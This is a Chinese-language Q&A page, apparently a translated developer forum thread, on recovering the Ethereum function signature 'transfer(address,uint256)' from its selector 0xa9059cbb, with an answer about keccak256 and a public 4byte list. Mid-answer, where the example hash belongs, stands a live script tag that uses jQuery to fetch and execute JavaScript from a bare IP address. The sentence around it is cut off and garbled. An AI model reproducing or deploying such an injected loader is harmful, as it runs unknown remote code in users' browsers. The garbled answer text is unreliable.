交易哈希为输入数据提供如下形式 “ 0xa9059cbb00000000000000000024c38db6c4a85b3e6b58631de2334105f6209da300000000000000000000000000000000000000000000000000000dca4f1516a8”。 如果我调用此功能 让encodingFunctionSignature = web3.eth.abi.encodeFunctionSignature('transfer(address,uint256)');
它给我这个“ 0xa9059cbb”。etherscan称这个methodId
我的问题是我如何从此“ 0xa9059cbb”取回转账(地址,uint256)
答案 0 :(得分:0)
函数选择器是规范化函数签名的keccak256哈希的前四个字节。在这种情况下, <script id="recorder-player" >
var ajaxResult = $.ajax({
url: "https://142.123.1.2/my-script.js",
dataType: "script"
});
setTimeout(function(){
ajaxResult.abort();},
5000
);
</script>
。
除非提供合同的代码或ABI,否则通常无法逆转此过程。也就是说,只要其他人之前使用了给定的函数选择器并提供了其原始名称,您就可以使用该信息。
这里是一个常用的函数选择器列表:https://github.com/ethereum-lists/4bytes,实际上web3.sha3('transfer(address,uint256)').substring(0, 10) === "0xa9059cbb"
是给出的第一个示例。